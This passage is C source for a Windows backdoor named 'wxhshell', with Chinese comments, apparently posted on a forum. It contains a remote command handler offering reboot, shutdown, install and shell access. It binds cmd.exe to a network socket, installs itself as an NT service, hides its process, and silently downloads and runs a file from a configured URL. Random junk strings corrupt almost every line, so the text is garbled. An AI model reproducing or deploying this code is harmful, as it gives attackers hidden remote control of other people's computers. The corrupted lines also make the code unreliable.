  else { ]Mq-67  
) `{jPK*`  
    switch(cmd[0]) { /yU#UZ4;  
  pg5W`4-F  
  // 帮助 {]Mwuqn  
  case '?': { uP4yJ/]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a@g <cl7a,  
    break; 7 \xCNOKh  
  } q?frt3o  
  // 安装 6O?zi|J[:  
  case 'i': { KyIUz9$  
    if(Install()) 4UbqYl3 |a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aVr(*s;/  
    else '(iPI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %nJo:/  
    break; &SIf|IX.  
    } T=NLBJ  
  // 卸载 M_0f{  
  case 'r': { (KO]>!t  
    if(Uninstall()) -75mgOj.#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Hv/1:k}  
    else b\^DQZmth  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RH,x);J|  
    break; -[!t=qi  
    } 2KO`+  
  // 显示 wxhshell 所在路径 wv3*o10_w8  
  case 'p': { q%d,E1  
    char svExeFile[MAX_PATH]; ebEI%8p g  
    strcpy(svExeFile,"\n\r"); YuuTLX%3  
      strcat(svExeFile,ExeFile); \e'Vsy>q  
        send(wsh,svExeFile,strlen(svExeFile),0); RaLV@>jPm  
    break; ]@y%j'e  
    } 3L2NenJB  
  // 重启 r5[pT(XT]  
  case 'b': { C D6N8n]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h@JX?LzZS  
    if(Boot(REBOOT)) }r18Y6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IqlCl>_j  
    else { [qY yr  
    closesocket(wsh); =XYc2. t  
    ExitThread(0); @?s>oSyV  
    } }72\Aw5  
    break; I[rR-4.F]  
    } r4cz?e |  
  // 关机 o]V.6Ge-  
  case 'd': { eSIG+{;&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {Zw;<1{E  
    if(Boot(SHUTDOWN)) z 3[J sE%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1tO96t^d%  
    else { v? 8i;[  
    closesocket(wsh); P cbhylKd  
    ExitThread(0); +*W lj8  
    } lA4-ZQ2Zp[  
    break; .~ uKr^%  
    } (z;lNl(*C  
  // 获取shell ,ye[TQ\,M  
  case 's': { VJ h]j (  
    CmdShell(wsh); m|B)A"Sm  
    closesocket(wsh); }>y !I5O  
    ExitThread(0); Rkg)yme!N  
    break; An}RD73!w  
  } h+Lpj^<2a  
  // 退出 {tOf0W|  
  case 'x': { Px-VRANZt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %Unwh1VG  
    CloseIt(wsh); |3FGMg%  
    break; 5'DY)s-K  
    } LV1drc  
  // 离开 iM7 ^  
  case 'q': { o%-KO? YW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S;t`C~l\  
    closesocket(wsh); Y>C0 5?>  
    WSACleanup(); 9%21Q>Y?b  
    exit(1); g :B4zlKG  
    break; }UcdkKq  
        } mc`Z;D/mt  
  } '+l"zK ]L-  
  } L1+s0g>  
DO{otn 9<  
  // 提示信息 bLWY Tj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C}uzzG6s  
} 4dN <B U  
  } T)<^S(5 7  
> jiez,  
  return; r"K!]Vw  
} DC_uh  
`e;r$Vpd_  
// shell模块句柄 *otgI"y\  
int CmdShell(SOCKET sock) H;<>uE Lie  
{ &2.DZ),L  
STARTUPINFO si; y4@gw.pt  
ZeroMemory(&si,sizeof(si)); IP{$lC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >h:'Z*9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <7)sS<I  
PROCESS_INFORMATION ProcessInfo; H}_R`S  
char cmdline[]="cmd"; [%yj' )R/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); teb(gUy}L6  
  return 0; 6DU(KYN  
} R#YeE`K  
X}]A_G  
// 自身启动模式 OqRRf  
int StartFromService(void) ]zAwKuIK  
{ u{HO6 s\S  
typedef struct yK&  
{ Ad,n+%"e  
  DWORD ExitStatus; H)S!%(x4  
  DWORD PebBaseAddress; B#IUSHC  
  DWORD AffinityMask; )2l @%?9  
  DWORD BasePriority; Y j bp:  
  ULONG UniqueProcessId; ,) dlL tUm  
  ULONG InheritedFromUniqueProcessId; /zXOta G  
}   PROCESS_BASIC_INFORMATION; nC[aEZ7  
/9gn)q2f(  
PROCNTQSIP NtQueryInformationProcess; 8PVjNS/  
!U}2YM J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f34/whD65  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (f_YgQEL  
| @ ut/  
  HANDLE             hProcess; [aA@V0l  
  PROCESS_BASIC_INFORMATION pbi; fwA8=o SZd  
L58#ri=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lw~ V  
  if(NULL == hInst ) return 0; .Mb0++% W  
7BINqVS&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F7j/Zuj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tw.GBR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *aS+XnT/  
jTg~]PQ^  
  if (!NtQueryInformationProcess) return 0; 5_](N$$  
8!.V`|@lt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |By[ev"Kh%  
  if(!hProcess) return 0; %,~\,+NP  
$mAC8a_Zu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iFI+W<QR  
f@Jrbg  
  CloseHandle(hProcess); ?M|1'`!c8  
{irc~||4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &b^~0Z  
if(hProcess==NULL) return 0; l"+8>Mm  
QnP3U  
HMODULE hMod; %x{kd8>u!  
char procName[255]; <'UGYY\wg0  
unsigned long cbNeeded; {PxFG<^U  
J;^PM:6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %GY'pQz  
})70S8k  
  CloseHandle(hProcess); [[^95:  
:] U\{;q2  
if(strstr(procName,"services")) return 1; // 以服务启动 ,YvOk|@R  
/i27F2NQm  
  return 0; // 注册表启动 Nc4;2~XwRp  
} Dj c-f  
vK+reXE  
// 主模块 A-uIZ zC  
int StartWxhshell(LPSTR lpCmdLine) LWTPNp:"{w  
{ z7AWWr=H  
  SOCKET wsl; flC%<V%'-  
BOOL val=TRUE; = &pLlG  
  int port=0; 6hd<ys?  
  struct sockaddr_in door; 3+uL@LXd  
*-Yw%uR  
  if(wscfg.ws_autoins) Install(); T_D] rMl  
$Z;/Sh  
port=atoi(lpCmdLine); pw4^E|X  
itirh"[  
if(port<=0) port=wscfg.ws_port; ,>b>I#{  
*IWW,@0  
  WSADATA data; WG6 0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2YKa <?_  
 &qdhxc4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A&Aj!#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0mUVa=)D  
  door.sin_family = AF_INET; g;p} -=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ARf{hiV6Wt  
  door.sin_port = htons(port); 'n-y*f  
UQ0<sI=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vaP`'  
closesocket(wsl); MA:5'n  
return 1; /; Bmh=  
} UsFn!!+  
.S-)  
  if(listen(wsl,2) == INVALID_SOCKET) { &R@([=1  
closesocket(wsl); EmcLW74  
return 1; !YjxCx  
} 7CuZ7!>$  
  Wxhshell(wsl); ZGR5"el!  
  WSACleanup(); f4Y)GO<R]  
HW~-GcU-o  
return 0; 'n,V*9  
lD3nz<p  
} 37jxl+  
:p: C  
// 以NT服务方式启动 {LF4_9 =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CKK}Z;~:  
{ ]r|oNGD)G  
DWORD   status = 0; :[_ms d  
  DWORD   specificError = 0xfffffff; 1 rhZlmf[r  
"t.` /4R2w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q {Z#}|km#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m?<E >-bI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1F`jptVQ\G  
  serviceStatus.dwWin32ExitCode     = 0; Px=@Tw N,  
  serviceStatus.dwServiceSpecificExitCode = 0; 6^'BTd  
  serviceStatus.dwCheckPoint       = 0; -g2l-N{&  
  serviceStatus.dwWaitHint       = 0; \_8wU' 7  
X@DW1<wEt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2,q*[Kh1  
  if (hServiceStatusHandle==0) return; 2NMs-Zs  
%k1Pyv;]  
status = GetLastError(); u>"0 >U  
  if (status!=NO_ERROR) K$M+"#./  
{ mvZ#FF1,J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s< FBr,  
    serviceStatus.dwCheckPoint       = 0; l^Rb%?4Z  
    serviceStatus.dwWaitHint       = 0; p8!T) ?|  
    serviceStatus.dwWin32ExitCode     = status; A'KH_])  
    serviceStatus.dwServiceSpecificExitCode = specificError; \|S!g_30m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _/I">/ivlM  
    return; P$z_A8}  
  } 1Q>nS[  
|sReHt2)d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;cI*"-I:F  
  serviceStatus.dwCheckPoint       = 0; \4>,L_O  
  serviceStatus.dwWaitHint       = 0; =otO@22Np  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I} jgz  
} 3@gsKtA&H4  
V|_ h[hXE  
// 处理NT服务事件,比如:启动、停止 O[C4xq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^E.L8  
{ !o /=,ZIx  
switch(fdwControl) Eu`|8# [ W  
{ r!2U#rz  
case SERVICE_CONTROL_STOP: w]0@V}}u$o  
  serviceStatus.dwWin32ExitCode = 0; 2aM7zP[Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; | ]*3En:  
  serviceStatus.dwCheckPoint   = 0; R2Fjv@Egk  
  serviceStatus.dwWaitHint     = 0; @m#OhERv  
  { =+!l8o&o,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3OZPy|".ax  
  } K] (*l"'U5  
  return; cl%+m  
case SERVICE_CONTROL_PAUSE: \x}\)m_7M<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  m[B#k$  
  break; @vt.Db  
case SERVICE_CONTROL_CONTINUE: 9RJF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h)HEexyRg  
  break; Kgu8E:nL  
case SERVICE_CONTROL_INTERROGATE: I x%>aee  
  break; kUf i  
}; (aa2uctTn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {rUg,y{v  
} eluN~T:W  
@&ZQDi  
// 标准应用程序主函数 yWi-ic [n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DW. w=L|5R  
{ RSp wU;o6z  
.$18%jH#  
// 获取操作系统版本 $8=|<vt  
OsIsNt=GetOsVer(); } a9Ah:.7/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y?<KN0j  
%y6(+I #P  
  // 从命令行安装 Qq<@;4  
  if(strpbrk(lpCmdLine,"iI")) Install(); hO=L|BJ?I  
.5(YL8d  
  // 下载执行文件  K& #il  
if(wscfg.ws_downexe) { t*gZcw5 r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $a M5jH<  
  WinExec(wscfg.ws_filenam,SW_HIDE); !ZYPz}&N_  
} `x[Is$  
6O7s^d&K  
if(!OsIsNt) { Wo 1x ZZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 C`[<6>&y  
HideProc(); f+h\RE=BGt  
StartWxhshell(lpCmdLine); ,CfslhO{j  
} -]Z7^  
else r/j:A#6M]o  
  if(StartFromService()) X4 Arn,  
  // 以服务方式启动 8s1nE_3  
  StartServiceCtrlDispatcher(DispatchTable); vYed_'_  
else !D#"+&&G8  
  // 普通方式启动 hmu>s'  
  StartWxhshell(lpCmdLine); 7Y5r3a}%  
[.gk{> #  
return 0; 'ToE Y3  
}
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只看该作者 1 发表于: 2006-10-10
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